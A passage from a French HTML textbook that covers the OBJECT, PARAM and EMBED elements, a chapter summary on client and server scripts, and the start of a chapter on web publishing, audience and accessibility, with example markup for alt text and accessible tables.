spécifié par l’attribut classid. Facultatif, il est
toutefois recommandé lorsque l’attribut
classid est spécifié : il permet à l’agent
utilisateur d’éviter le chargement
d’informations de type non reconnu. Sa valeur
par défaut est celle de l’attribut type.

data uri Peut être utilisé pour spécifier la localisation

des données de l’objet (par exemple les
données d’images) ou, plus généralement, la
forme sérialisée d’un objet qui peut être
utilisée pour recréer cet objet. Quand il est
donné comme URI relatif, celui-ci devrait être
interprété relativement à l’attribut codebase.

type type−de−contenu Spécifie le type de contenu des données

spécifiées par l’attribut data. Facultatif, mais
recommandé quand l’attribut data est
spécifié : il permet à l’agent utilisateur d’éviter
le chargement des informations à type de
contenu non reconnu. Si la valeur de cet
attribut diffère de l’en-tête HTTP
Content−Type renvoyé par le serveur quand
l’objet est ramené, c’est l’en-tête HTTP
Content−Type qui a préséance.

archive liste−uri Sert à spécifier la liste des URI, séparés par

des espaces, des archives contenant les
ressources qui concernent l’objet. Cette liste
peut inclure les ressources spécifiées par les
attributs classid et data. Le préchargement
des archives diminue généralement le temps
de chargement des objets. Les archives
spécifiées comme URI relatifs devraient être
interprétées relativement à l’attribut
codebase.

declare Quand il est présent, cet attribut booléen fait

de la définition de l’élément OBJECT courant
seulement une déclaration. L’objet doit être
instancié par la suite au travers d’une
définition OBJECT qui se réfère à cette
déclaration.

standby texte Spécifie le message que l’agent utilisateur

peut restituer pendant le chargement de
l’implémentation et des données de l’objet.

LE GUIDE COMPLET 427

 Chapitre 10 Scripts

Voici un exemple d’insertion d’applet d’horloge analogique dans un

document via l’élément OBJECT. L’applet, écrit dans le langage Python,
ne requiert aucune données supplémentaires ni valeurs d’exécution.
L’attribut classid spécifie la localisation de l’applet :
<P><OBJECT classid="[Link]
</OBJECT>

Remarquez que l’horloge sera restituée dès l’interprétation de la

déclaration de l’élément OBJECT par l’agent utilisateur. Il est possible de
différer la restitution d’un objet en effectuant une déclaration préalable
de cet objet.

Mieux vaut toujours ajouter à un tel élément un texte de remplacement,

au cas où l’agent utilisateur ne puisse pas restituer l’horloge.
<P><OBJECT classid="[Link]
Une horloge anim&eacute;e.
</OBJECT>

Une des grandes forces de l’élément OBJET est, comme nous l’avons vu
dans le Chapitre 6 traitant des images, la possibilité de spécifier des
restitutions alternatives de l’objet : chacune des déclarations des
éléments OBJECT imbriqués peut spécifier un type de contenu alternatif.
Si l’agent utilisateur ne peut pas restituer l’élément OBJECT le plus
externe, il essaye d’en restituer le contenu, qui peut être un autre
élément OBJECT, etc. Souvenez-vous de l’exemple alors présenté :
<TD rowspan="3">
<!-- Essayer d’abord un applet en Python -->
<OBJECT title="Coucher de soleil sur le lac de Linciel"
classid="[Link]">
<!-- Sinon, essayer l’animation MNG -->
<OBJECT data="[Link]" type="application/mng">
<!-- Sinon, essayer l’image JPEG -->
<OBJECT data="Images/coucher de [Link]"
type="image/gif" width="267" height="200"
title="Un coucher de soleil sur le lac de Linciel">
<!-- Sinon, le texte en dernier recours -->
Coucher de soleil sur le lac de Linciel
</OBJECT>
</OBJECT>
</OBJECT>
</TD>

L’agent utilisateur essaye d’abord de restituer le premier élément

OBJECT possible, dans l’ordre suivant :
1 Une applet écrite en langage Python.

428 LE GUIDE COMPLET

 Applets Chapitre 10

2 Une animation MNG du coucher de soleil.

3 Une image JPG de celui-ci.
4 Un texte de remplacement.
La déclaration la plus externe spécifie une applet qui ne requiert ni
données ni valeur initiales. La deuxième déclaration spécifie une
animation MNG. Comme elle ne définit pas la localisation d’une
implémentation pour traiter l’animation MNG, elle compte sur l’agent
utilisateur pour la prendre en charge. La troisième déclaration spécifie la
localisation d’un fichier JPG et fournit un texte de remplacement au cas
où tous les autres mécanismes auraient échoué.

Les données à restituer peuvent être fournies de deux façons : en interne

ou à partir d’une ressource externe. La première méthode est
généralement plus rapide, mais ne convient pas pour une grande quantité
de données.

Voici un exemple d’emploi de données internes dans l’élément

OBJECT :
<P>
<OBJECT id="horloge1"
classid="clsid:663C8FEF-1EF9-11CF-A3DB-080036F12502"
data="data:application/x-oleobject;base64, ...des
✂ donn&eacute;es en base64...">
Une horloge.
</OBJECT>

Élément PARAM
Pour initialiser un élément, vous avez recours à un ou plusieurs éléments
PARAM. Cet élément ne possède qu’une balise d’ouverture.

Les éléments PARAM spécifient l’ensemble des valeurs nécessaires à

l’exécution d’un objet. Un élément OBJECT (ou APPLET) peut posséder
un nombre quelconque d’éléments PARAM dans n’importe quel ordre. Ils
doivent toutefois être situés au début du contenu de l’élément OBJECT
(ou APPLET).

La syntaxe des noms et de leurs valeurs est censée être comprise par
l’implémentation de l’objet. La spécification ne définit pas les façons
selon lesquelles les agents utilisateurs devraient ramener les couples
nom/valeur ni interpréter les noms en doublon.

LE GUIDE COMPLET 429

 Chapitre 10 Scripts

L’attribut name définit le nom d’un paramètre d’exécution censé être

connu des objets insérés. La sensibilité à la casse de la propriété dépend
de l’implémentation spécifique de l’objet.

L’attribut value spécifie la valeur d’un paramètre d’exécution spécifié

par l’attribut name. Les valeurs de propriété n’ont aucune signification
pour HTML : leur signification est déterminée par l’objet en question.

L’attribut valuetype spécifie le type de l’attribut value. Les valeurs

possibles sont :
j data : c’est la valeur par défaut. Signifie que la valeur spécifiée
par value sera évaluée puis transmise à l’implémentation de
l’objet sous forme d’une chaîne.
j ref : la valeur spécifiée par l’attribut value est un URI qui
désigne une ressource dans laquelle les valeurs d’exécution sont
stockées. L’URI doit être transmise à l’objet tel quel (non résolu).
j object : la valeur spécifiée par l’attribut value est un identifiant
qui se réfère à la déclaration d’un élément OBJECT situé dans le
même document. L’identifiant doit être la valeur de l’attribut id
de l’élément OBJECT déclaré.

L’attribut type spécifie le type de contenu de la ressource désignée par

l’attribut value uniquement lorsque l’attribut valuetype possède
comme valeur ref. Cet attribut indique donc à l’agent utilisateur le type
des valeurs situées à l’URI désigné par l’attribut value.

OBJECT et EMBED
Microsoft Internet Explorer reconnaît l’élément OBJECT à partir de sa
version 3.0, Netscape à partir de sa version 4. Ce dernier prenait
également en charge l’élément EMBED qui lui était propre. Vous devriez
désormais n’employer que OBJECT.
Voici un exemple d’emploi de ces deux éléments, qui tient compte du
navigateur :

Listing 10-6 : Éléments OBJECT et EMBED

...
<OBJECT classid="clsid:numericID" codebase="../"
width="largeur" height="hauteur" id="nom">
<PARAM name="src" value="[Link]">
<PARAM name="bgcolor" value="couleurfond">
<PARAM name="palette" valeur="fond">
<!-- Netscape 2.0 et 3.0 ont recours à EMBED -->

430 LE GUIDE COMPLET

 Applets Chapitre 10

<EMBED width="largeur" height="hauteur" src="[Link]"

bgcolor="couleurfond"
pluginspage="[Link]
start="true" alt="Shockwave">
<NOEMBED> Si vous ne disposez pas de Shockwave, vous pouvez
le t&eacute;l&eacute;charger
<A HREF=[Link] ici
</A>
pour voir cette animation.
</NOEMBED>
</OBJECT>
...
Un utilisateur qui possède un navigateur ne reconnaissant ni OBJECT
ni EMBED voit le contenu de l’élément NOEMBED. Remarquez que les
éléments OBJECT et NOEMBED doivent posséder une balise de fermeture,
contrairement à EMBED. Désormais, vous devriez toutefois n’employer que
OBJECT.

Déclaration et instanciation des objets

Nous avons signalé plus haut qu’il était possible de séparer la
déclaration d’un objet de ses instanciations. Cela présente plusieurs
avantages :
j Les données peuvent être ramenées du réseau par l’agent
utilisateur une seule fois (lors de la déclaration) et réutilisées pour
chaque instanciation.
j Il est possible d’instancier un objet à partir d’un autre endroit que
celui de la déclaration de l’objet, par exemple à partir d’un lien.
j Il est possible de spécifier des objets comme étant des données
d’exécution d’autres objets.

Pour déclarer un objet de sorte qu’il ne soit pas exécuté au moment où

l’agent utilisateur le lit, il faut placer l’attribut booléen declare dans
l’élément OBJECT et identifier cette déclaration en affectant une valeur
unique à son attribut id. Les instanciations ultérieures de l’objet se
référeront à cet identifiant. Un élément OBJECT déclaré doit apparaître
dans le document avant la première instance de cet élément OBJECT.

Un objet défini avec l’attribut declare est instancié chaque fois qu’un
élément qui se rapporte à cet objet requiert une restitution de celui-ci

LE GUIDE COMPLET 431

 Chapitre 10 Scripts

(par exemple, un lien qui se réfère à l’objet est activé, un autre objet qui
s’y réfère est activé, etc.).

Les agents utilisateurs qui ne reconnaissent pas l’attribut declare

doivent restituer le contenu de la déclaration de l’élément OBJECT.

L’élément OBJECT est aussi précieux que complexe. Pour en savoir

plus, reportez-vous à la spécification HTML 4.01.

10.6. Résumé
j Un script est un programme écrit dans un langage de
programmation particulier.
j Il existe deux types de script : les scripts côté serveur et les scripts
côté client. Les scripts côté serveur sont situés et s’exécutent
comme leur nom l’indique sur le serveur et peuvent envoyer un
résultat vers la machine cliente. Les scripts côté client sont des
programmes qui peuvent accompagner le document HTML ou
bien y être directement incorporés. Ils s’exécutent sur la machine
cliente (préservant ainsi les ressources du serveur).
j Un script à action unique est exécuté une seule fois, lors du
chargement du document par l’agent utilisateur. Il apparaît dans le
document à l’intérieur d’un élément SCRIPT.
j Un script répétitif est exécuté chaque fois que se produit un
événement particulier.
j Vous insérez un script dans un document à l’aide de l’élément
SCRIPT.
j HTML ne dépend pas d’un langage de script particulier. Les
auteurs des documents indiquent explicitement aux agents
utilisateurs le langage de chaque script. Vous pouvez le faire à
l’aide d’une déclaration META placée dans l’élément HEAD ou en
définissant l’attribut type de l’élément SCRIPT.
j L’élément NOSCRIPT permet de fournir un contenu de
remplacement lorsque, pour une raison quelconque, un script
n’est pas exécuté.
j Il est possible d’associer une action à un certain nombre
d’événements intrinsèques qui se produisent lorsque l’utilisateur
interagit avec l’agent utilisateur. Chacun des événements prend
comme valeur un script.

432 LE GUIDE COMPLET

 Résumé Chapitre 10

j JavaScript est historiquement le premier langage de script pour le

Web qui a permis aux développeurs Web d’exécuter de petits
programmes sur le navigateur Web plutôt que sur le serveur Web.
JScript est un langage de script très similaire développé par
Microsoft.
j Le bon fonctionnement de JavaScript dépendait largement du
navigateur employé. Un standard a été défini pour normaliser les
langages de script de type JavaScript, ECMA-262 aussi appelé
ECMAScript. C’est devenu un standard international (ECMA-262
et ISO-10262), ce qui en fait une des rares technologies Internet
« non protocole » à avoir obtenu une normalisation d’un
organisme officiel.
j VBScript est un langage de script propre à Microsoft, dérivé de
leur langage de programmation Visual Basic.
j Un script CGI (Common Gateway Interface) est un script côté
serveur. Ces scripts, souvent employés pour le traitement distant
des formulaires, posent toutefois de nombreux problèmes.
j Un cookie est un petit fragment d’information qui reste stocké sur
votre ordinateur après la clôture de la connexion. Les utilisateurs
peuvent choisir d’accepter ou de refuser les cookies.
j HTML permet d’intégrer une applet dans votre page Web. Il ne
s’agit toutefois pas obligatoirement d’une des célèbres applets
Java : ce peut être une applet Python, Perl, etc. L’inclusion d’une
applet s’effectuait autrefois à l’aide de l’élément APPLET,
désormais déconseillé au profit de l’élément OBJECT.

LE GUIDE COMPLET 433

 Publication
sur le Web

Identification du public ..................................................................................................... 436

Accessibilité ........................................................................................................................ 438
Adaptation à plusieurs langues ...................................................................................... 456
Test du site .......................................................................................................................... 466
Publication sur le Web ...................................................................................................... 472
Suivi de la fréquentation de votre site .......................................................................... 478
Résumé ................................................................................................................................ 483
 Chapitre 11 Publication sur le Web

Au fil des chapitres précédents, vous avez découvert les principaux

composants du langage HTML et avez construit un site Web
minimaliste. Vous disposez toutefois désormais des connaissances
nécessaires pour l’améliorer plus avant, grâce aux différentes techniques
abordées.

Pour le moment, satisfait de votre première réalisation, vous souhaitez la

placer sur le Web, pour qu’elle puisse y être consulté par tous. Par tous ?
Vraiment ? Probablement pas. Tout site s’adresse à un public potentiel
plus ou moins ciblé. Pour un site d’entreprise, dont le but est de
promouvoir et de vendre un produit ou un service, la cible se compose
des clients potentiels, ou du moins de ceux d’entre eux qui emploient
Internet. Dès le début de la phase de conception de votre site, vous
devez garder à l’esprit les caractéristiques de la cible visée et pour ce
faire identifier votre public.

Ce public identifié, vous devrez probablement adapter votre site en

fonction de ses demandes ou habitudes particulières.

Vous devrez ensuite améliorer l’accessibilité de votre site, pour tenir

compte des personnes souffrant de divers handicaps, et éventuellement
le rendre disponible en plusieurs langages. Enfin, vous le placerez sur le
Net à l’aide d’un des multiples outils disponibles et le testerez à l’aide
du plus grand nombre possible de navigateurs.

Ce chapitre s’intéresse à l’ensemble de ces démarches.

Éléments et attributs abordés dans ce chapitre :

IMG, alt
TABLE, summary, TH, TD, TR, headers, scope, abbr
NOFRAME
OBJECT, EMBEB, NOEMBED
lang, dir, BDO, dir, META, charset

11.1. Identification du public

L’identification des visiteurs probables d’un site Web est capitale.
Nombreux sont les auteurs Web à commencer sans idée aucune de leur
public potentiel. Ils se contentent d’assembler quelques idées, des
éléments qui leur ont plu, généralement simplement pour apprendre à
coder en HTML. Sans le savoir, leurs pages possèdent cependant un
public : ceux qui partagent leurs thèmes d’intérêt (ceux qui figurent sur

436 LE GUIDE COMPLET

 Identification du public Chapitre 11

les pages Web), ainsi que ceux qui possèdent une configuration
matérielle et logicielle identique à celle du concepteur.

La composante fondamentale d’un site Web est l’information que vous

tenez à partager. Le plus important est sans doute de savoir avec qui
vous allez la partager. Ne surestimez pas le pouvoir d’un message ciblé.
Internet est désormais trop vaste et trop diversifié pour garantir que vous
serez capable d’atteindre tout le monde.

De toute évidence, le public le plus facile à cibler est celui d’un intranet
d’entreprise. Le ou les navigateurs employés sont connus, ce qui
simplifie grandement le codage. En revanche, de tels sites ne brillent
généralement pas par l’innovation : ils sont essentiellement informatifs
et destinés à aider les salariés à accomplir leur travail.

Si votre site s’adresse à des enfants, privilégiez les graphismes et les

icônes significatives au texte. Les enfants préfèrent des images claires et
colorées et sont souvent capables de comprendre le but d’une icône sans
avoir à lire le texte.

Figure 11.1 : Un site destiné aux enfants insiste sur les icônes et les images

En revanche, si le site concerne plutôt des personnes âgées (une

population en forte croissance sur Internet), veillez à ce qu’il puisse
s’adapter aux déficits visuels, ainsi qu’aux utilisateurs ayant du mal à
utiliser le clavier ou la souris.

LE GUIDE COMPLET 437

 Chapitre 11 Publication sur le Web

Figure 11.2 : Le site de la FIDEV propose des versions adaptées aux

personnes souffrant de déficits visuels

Par contraste, si votre cible est constituée de hard gamers, ces fous de
jeux vidéo, vous pouvez présumer sans grand risque d’erreur qu’ils
disposent d’un écran de grande taille, d’une carte graphique
performante, des derniers codecs, et probablement d’une liaison Internet
à haut débit : dans un tel cas, pas question d’hésiter à abuser des images
et vidéos !

Mais si vous suspectez que même un seul épileptique sensible à la

lumière est susceptible de visiter votre site, oubliez les animations
spectaculaires et les clignotements répétitifs. Vous devez en effet
désormais tenir compte des personnes souffrant de handicaps et proposer
des alternatives pour votre site. Aujourd’hui, de nombreux utilisateurs
surfent sur le Web sans souris. Ils transmettent les ordres à l’agent
utilisateur à l’aide du clavier ou de commandes vocales. La prise en
compte de ces utilisateurs porte le nom d’ « accessibilité du site ».

11.2. Accessibilité
L’ordinateur est un outil précieux, parfois indispensable à de nombreux
utilisateurs qui souffrent de handicaps. Il procure l’accès à la
communication et à l’enseignement indépendamment des capacités
physiques. Internet a permis en outre la réalisation de véritables postes
de travail virtuels. Qu’il s’agisse de recherche ou de courrier
électronique, l’ordinateur aide les personnes handicapées à agir de façon
interactive avec leur collègues, leurs amis et leur famille à un degré
inimaginable dans le passé.

Il est de notoriété publique que la population des seniors croît

régulièrement. Ceux-ci s’intéressent en outre de plus en plus à
l’informatique, essentiellement grâce à Internet. Cette nouvelle vague

438 LE GUIDE COMPLET

 Accessibilité Chapitre 11

d’utilisateurs découvre toutefois que l’écran n’est pas toujours facile à

lire et que la souris constitue un outil malcommode pour quelqu’un
souffrant d’arthrite ou d’une quelconque affection du poignet. En tant
que concepteur d’un site Web, vous ne devez ignorer aucune des parties
de votre public potentiel.

Ayant déterminé qui va accéder à votre site, concevez-le de façon à

faciliter son accès. Tenez compte de l’agent utilisateur probable, de la
configuration matérielle envisageable, etc. Votre site doit-il être visité
par des personnes âgées, des familles, le grand public ? Partez alors du
principe qu’ils possèdent un écran de 17 pouces doté d’une résolution
minimale de 800 x 600. Votre site est consacré à la programmation
avancée ? Vérifiez qu’il gère bien le texte : de nombreux utilisateurs
UNIX ne possèdent que des navigateurs en mode Texte seul. Votre site
concerne les jeux vidéo ou s’adresse à des professionnels de
l’imprimerie et du graphisme ? Vous pouvez sans crainte supposer qu’ils
disposent d’un périphérique d’affichage de haut de gamme,
probablement même supérieur au vôtre.

Voici les principaux pièges d’accessibilité rencontrés lors de la

conception d’un site Web :
j Les cadres rendent la navigation difficile sans souris. De surcroît,
ils posent problème sur de petits écrans à faible résolution et ne
sont pas reconnus par les navigateurs textuels.
j Les tableaux sont assez mal reconnus par les navigateurs textuels,
mais permettent d’afficher efficacement des données brutes. Si
vous définissez la taille et la largeur, les utilisateurs possédant un
affichage limité seront obligés de faire défiler la page pour lire
l’intégralité du tableau. Un tableau peut souvent être remplacé par
un autre élément structurel, comme un en-tête ou un pied de page,
présent sur toutes les pages du site. Utilisez toujours le nouvel
attribut summary pour procurer une alternative texte au tableau.
j Les images posent rarement de problèmes, même si de nombreux
agents utilisateurs ne les affichent pas, par construction ou suite à
un choix de l’utilisateur. Empêcher le chargement des graphismes
permet de diminuer le temps de chargement d’une page Web ou
facilite le travail d’un navigateur texte-parole. L’attribut alt
placé dans l’élément IMG permet aux utilisateurs ayant désactivé
les images d’en obtenir une description.
j Même si les graphismes animés permettent de capter l’attention,
ils deviennent irritants lorsqu’ils apparaissent sur des pages de

LE GUIDE COMPLET 439

 Chapitre 11 Publication sur le Web

contenu et non sur des pages de navigation. Une animation

agressive peut rendre difficile la concentration d’utilisateurs
sensibles à la lumière. Enfin, les utilisateurs peuvent bloquer les
animations après leur chargement dans la plupart des navigateurs.
j Les formulaires ont subi de lourdes modifications en vue
d’améliorer l’accessibilité. Le déplacement entre les champs d’un
formulaire s’accomplit traditionnellement à l’aide de la touche
[˜] du clavier, parcourant ainsi les champs dans l’ordre où ils ont
été rédigés en code HTML. Cela peut poser quelques problèmes,
particulièrement s’il existe des liens hypertextes supplémentaires
(comme des publicités) au milieu de la page. Utilisez les éléments
FIELDSET et LEGEND ainsi que l’attribut tabindex (décrits dans
le Chapitre 8) afin d’aider les utilisateurs à naviguer dans le
formulaire sans la souris.

Cas de l’attribut alt

Vous devez toujours doter une image d’équivalent texte, mais la
valeur de l’attribut alt doit satisfaire certains critères, faute de quoi il
peut être considéré comme suspect. Respectez les règles suivantes :
Le texte ne doit pas dépasser 150 caractères (10 à 12 mots). N’écrivez pas :
<IMG src="images/[Link]"
alt="Coucher de soleil sur le lac de Linciel.
Remarquez le jeu du vent sur les vagues
et, à l’arri&egrave;re-plan, la vue sur la
montagne du Destin">.
Le texte ne doit pas décrire une image qui sert de lien, mais la destination
du lien.
<A href="images/[Link]">
<IMG src="images/[Link]"
alt="Coucher de soleil sur le lac de Linciel">
Coucher de soleil</A>
Utilisez plutôt :
<A href="images/[Link]">
<IMG src="images/[Link]"
alt="Lien vers l’image du coucher de soleil
sur le lac de Linciel">Coucher de soleil</A>
Il ne doit pas contenir d’informations sur la taille du fichier, ni un nom de
fichier ou une extension de fichier image. N’écrivez jamais :
<IMG src="images/[Link]"
alt="Coucher de soleil sur le lac de Linciel.
Nom : couchersoleil. Type : jpg. Taille : 64 500 octets">

440 LE GUIDE COMPLET

 Accessibilité Chapitre 11

Il ne doit pas servir de commentaire :

<IMG src="images/[Link]" alt="Ins&eacute;rer
l’image ici">
Enfin, les images d’espacement, les puces et les barres horizontales
doivent également posséder un attribut alt défini.

Accessibilité des tableaux

Les tableaux sont une des structures HTML qui posent le plus de
problèmes aux agents utilisateurs non visuels. Pourtant, HTML dispose
désormais des outils nécessaires à en permettre une restitution parfaite.
Il suffit de les mettre en œuvre.

Une cellule de tableau peut contenir deux types d’informations : des

informations de rubrique (ou libellé) et des informations de données.
Cette distinction permet aux agents utilisateurs de restituer les cellules
de rubrique et de données différemment, même en l’absence de feuilles
de style. Par exemple, les agents utilisateurs visuels peuvent présenter le
texte des cellules de rubrique en caractères gras. Les synthétiseurs de
parole peuvent restituer les informations de rubrique avec une inflexion
de voix particulière.

L’élément TH définit une cellule qui contient une indication de rubrique.

Les agents utilisateurs disposent de deux types d’informations de
rubrique : le contenu de l’élément TH et la valeur de l’attribut facultatif
abbr. Les agents utilisateurs doivent restituer soit le contenu de la
cellule, soit la valeur de l’attribut abbr. Pour les médias visuels, cette
dernière possibilité peut être adéquate quand il n’y a pas suffisamment
de place pour restituer le contenu entier de la cellule. Pour les médias
non visuels, l’attribut abbr peut s’employer comme abréviation des
rubriques du tableau, quand celles-ci sont restituées en accompagnement
du contenu des cellules concernées. Les attributs headers et
scope permettent également aux auteurs d’assister les agents
utilisateurs non visuels dans leur traitement des informations de
rubrique.

L’élément TD définit une cellule qui contient des données. Une cellule
peut être vide (ne pas contenir de données).

LE GUIDE COMPLET 441

 Chapitre 11 Publication sur le Web

Les agents utilisateurs non visuels peuvent faire appel à certains

attributs des éléments TD et TH pour restituer les cellules du tableau plus
intuitivement :
j Pour une cellule de données particulière, l’attribut headers
répertorie les cellules qui fournissent des indications de rubrique
pertinentes. Chaque cellule de rubrique doit être nommée à l’aide
de l’attribut id. Il n’est toutefois pas toujours possible de
distinguer clairement cellules de rubrique et cellules de données.
Servez-vous pour de telles cellules de l’élément TD accompagné
d’un attribut id ou scope, selon que l’un ou l’autre est le plus
adapté.
j Pour une cellule de rubrique donnée, l’attribut scope indique à
l’agent utilisateur les cellules concernées par ces indications de
rubrique. Les auteurs peuvent choisir d’employer cet attribut
plutôt que l’attribut headers, s’ils considèrent qu’il convient
mieux. Ces deux attributs remplissent la même fonction.
L’attribut headers est en général nécessaire quand les rubriques
se trouvent à une position inhabituelle par rapport aux données
qui les concernent.
j L’attribut abbr spécifie un nom de rubrique abrégé pour les
cellules de rubrique, pour que les agents utilisateurs puissent
restituer plus rapidement les indications de rubrique.

Dans l’exemple suivant, nous assignons des indications de rubrique aux

cellules en définissant l’attribut headers. Chaque cellule de la même
colonne se rapporte à la même cellule de rubrique (via l’attribut id).
Listing 11-1 : Extrait du fichier [Link]
...
<TABLE border="1" summary="Ce tableau repr&eacute;sente
le nombre de livres emprunt&eacute;s par chaque membre de
la famille, et le nombre de livres non encore rendus.">
<CAPTION>Livres emprunt&eacute;s par chaque membre de
la famille</CAPTION>
<TR>
<TH id="t1">Nom</TH>
<TH id="t2">Livres</TH>
<TH id="t3" abbr="Sortis">Non rendus ?</TH>
<TR>
<TD headers="t1">Claude</TD>
<TD headers="t2">10</TD>
<TD headers="t3">2</TD>
<TR>
<TD headers="t1">Martine</TD>

442 LE GUIDE COMPLET

 Accessibilité Chapitre 11

<TD headers="t2">5</TD>
<TD headers="t3">0</TD>
</TABLE>
...

Figure 11.3 :
Tableau employant l’attribut
headers

Un synthétiseur de parole pourrait restituer cette table comme suit :

Légende : Livres empruntés par chaque membre de la famille
Résumé : Ce tableau représente le nombre de livres
empruntés par chaque membre de la famille, et le nombre
de livres non encore rendus.
Nom : Claude, Livres : 10, Sortis : 2
Nom : Martine, Livres : 5, Sortis : 0

Remarquez la manière dont la rubrique Non rendus ? s’abrège en Sortis,

grâce à l’attribut abbr.

Vous pourriez écrire le même exemple en substituant l’attribut scope à

l’attribut headers.
Listing 11-2 : Extrait du fichier [Link]
...
<TABLE border="1" summary="Ce tableau repr&eacute;sente
le nombre de livres emprunt&eacute;s par chaque membre
de la famille, et le nombre de livres non encore rendus.">
<CAPTION>Livres emprunt&eacute;s par chaque membre
de la famille</CAPTION>
<TR>
<TH scope="col">Nom</TH>
<TH scope="col">Livres</TH>
<TH scope="col" abbr="Sortis">Non rendus ?</TH>
<TR>
<TD>Claude</TD>
<TD>10</TD>
<TD>2</TD>
<TR>
<TD>Martine</TD>

LE GUIDE COMPLET 443

 Chapitre 11 Publication sur le Web

<TD>5</TD>
<TD>0</TD>
</TABLE>
...

Remarquez la valeur col de l’attribut scope, qui signifie « toutes les

cellules de la colonne active ». Affiché dans un navigateur visuel,
l’aspect est identique. Il en est de même avec un agent utilisateur non
visuel.

Figure 11.4 :
Tableau employant l’attribut scope

Les autres valeurs de l’attribut scope permettent de construire des

tableaux plus complexes :
Listing 11-3 : Extrait du fichier [Link]
...
<TABLE border="1" cellpadding="5" cellspacing="2"
summary="Quelques livres traduits par Fabrice
Lemainque, class&eacute;s par titre, &eacute;diteur,
r&eacute;sum&, code ISBN et prix.">
<TR>
<TH colspan="5" scope="colgroup">Traductions</TH>
</TR>
<TR>
<TH scope="col" abbr="Titre">Titre du livre </TH>
<TH scope="col" abbr="Ed.">&Eacute;diteur</TH>
<TH scope="col">R&eacute;sum&eacute;</TH>
<TH scope="col">Code ISBN</TH>
<TH scope="col">Prix</TH>
</TR>
<TR>
<TD scope="row">Wi-Foo, piratage et d&eacute;fense des réseaux
✂ sans fil</TD>
<TD>CampusPress</TD>
<TD>
Le d&eacute;veloppement des r&eacute;seaux sans fil
s’acc&eacute;l&egrave;re. Pourtant, les probl&egrave;mes

444 LE GUIDE COMPLET

 Accessibilité Chapitre 11

de s&eacute;curit&eacute; li&eacute;s &agrave; ce type de

r&eacute;seau sont largement sous-&eacute;stim&eacute;s. Ce
livre &eacute;tudie tant les m&eacute;thodes employ&eacute;es
pour p&eacute;n&eacute;trer un tel r&eacute;seau que celles
qui permettent de laisser les assaillants et les curieux
dehors. <EM>Niveau : Interm&eacute;diaire &agrave;
avanc&eacute;.</EM>
</TD>
<TD>2-7440-1948-8</TD>
<TD>47 &euro;</TD>
</TR>
<TR>
<TD scope="row">La Bible C++</TD>
<TD>Micro Application</TD>
<TD>
La r&eacute;f&eacute;rence absolue pour ma&icirc;triser
la programmation C++ !<BR>
Destin&eacute; aussi bien aux d&eacute;butants qu’aux
utilisateurs confirm&eacute;s, cet ouvrage,
r&eacute;f&eacute;rence incontest&eacute;e outre-atlantique
et traduit en Fran&ccedil;ais, est un v&eacute;ritable
outil de cours d&eacute;livrant aux utilisateurs des
bases solides et des connaissances pouss&eacute;es sur
le langage C++. L’utilisateur dispose ici de toutes les
informations pour comprendre les fondements du langage,
résoudre ses probl&egrave;mes, puis d&eacute;velopper des
applications performantes avec le langage C++.
<EM>Niveau : Interm&eacute;diaire &agrave; avanc&eacute;.
</EM>
</TD>
<TD>2-7429-3717-X</TD>
<TD>81 &euro;</TD>
</TR>
</TABLE>
...

Figure 11.5 :
Tableau complexe
employant l’attribut scope,
avec des cellules
fusionnées.

LE GUIDE COMPLET 445

 Chapitre 11 Publication sur le Web

Remarquez l’emploi de la valeur row pour l’attribut scope. Même si la

première cellule de chaque ligne contient des données et non des
indications de rubrique, l’attribut scope fait que la cellule de données
se comporte comme une cellule de rubrique de ligne. Ceci permet aux
synthétiseurs de parole de fournir à la demande le nom du livre concerné
ou de le déclarer immédiatement avant le contenu de chaque cellule.

Il est parfois utile de catégoriser les cellules. Les utilisateurs qui

parcourent une table avec un agent utilisateur basé sur la parole peuvent
souhaiter entendre une explication sur le contenu d’une cellule, en plus
du contenu en question. Pour ce faire, l’agent utilisateur pourrait lire les
indications de rubrique associées avant le contenu de la cellule de
données.

Les utilisateurs peuvent également vouloir des informations sur

plusieurs cellules, auquel cas les indications de rubrique données au
niveau de la cellule (attributs headers, scope et abbr) peuvent ne pas
fournir le contexte adéquat. Examinez le tableau suivant, qui montre la
répartition des dépenses au cours d’un voyage de plusieurs jours, à
destination de deux villes, Toulouse et Montpellier.

Figure 11.6 :
Dépenses de voyage

Le code de ce tableau est le suivant :

Listing 11-4 : Extrait du fichier [Link]
...
<TABLE border="1" align="center"

446 LE GUIDE COMPLET

 Accessibilité Chapitre 11

summary="Ce tableau r&eacute;sume les d&eacute;penses

occasionn&eacute;s lors des vacances du mois de
juillet &agrave; Toulouse et &agrave; Montpellier">
<CAPTION>
R&eacute;capitulatif des d&eacute;penses de vacances
</CAPTION>
<TR>
<TH></TH>
<TH>Alimentation</TH>
<TH>D&eacute;placement</TH>
<TH>Divers</TH>
<TH>Totaux</TH>
</TR>
<TR>
<TH>Toulouse</TH>
<TH></TH>
<TH></TH>
<TH></TH>
<TD></TD>
</TR>
<TR align="right">
<TD>17-07-05</TD>
<TD>37.74</TD>
<TD>32.00</TD>
<TD>15.00</TD>
<TD></TD>
</TR>
<TR align="right">
<TD>18-07-05</TD>
<TD>27.28</TD>
<TD>4.00</TD>
<TD>20.53</TD>
<TD></TD>
</TR>
<TR align="right">
<TD>Sous-totaux</TD>
<TD>65.02</TD>
<TD>36.00</TD>
<TD>35.53</TD>
<TD>136.52</TD>
</TR>
<TR>
<TH>Montpellier</TH>
<TH></TH>
<TH></TH>
<TH></TH>
<TD></TD>
</TR>
<TR align="right">
<TD>19-07-05</TD>
<TD>56.25</TD>
<TD>29.00</TD>

LE GUIDE COMPLET 447

 Chapitre 11 Publication sur le Web

<TD>00.00</TD>
<TD></TD>
</TR>
<TR align="right">
<TD>20-07-05</TD>
<TD>35.00</TD>
<TD>0.00</TD>
<TD>36.00</TD>
<TD></TD>
</TR>
<TR align="right">
<TD>Sous-totaux</TD>
<TD>91.25</TD>
<TD>29.00</TD>
<TD>36.00</TD>
<TD>196.25</TD>
</TR>
<TR align="right">
<TH>Totaux g&eacute;n&eacute;raux</TH>
<TD>156.27</TD>
<TD>65.00</TD>
<TD>71.53</TD>
<TD>332.77</TD>
</TR>
</TABLE>
...

L’utilisateur pourrait souhaiter extraire des informations du tableau sous

la forme de requêtes comme :
j Quel a été le montant des frais de déplacement (essence, péage,
etc.) ?
j Qu’ai-je dépensé en alimentation le 18 juillet ?
j Quel est le montant total des dépenses à Montpellier ?

Chaque requête implique un calcul par l’agent utilisateur, qui peut faire
intervenir zéro ou plusieurs cellules. Pour déterminer, par exemple, les
dépenses d’alimentation du 18 juillet, l’agent utilisateur doit reconnaître
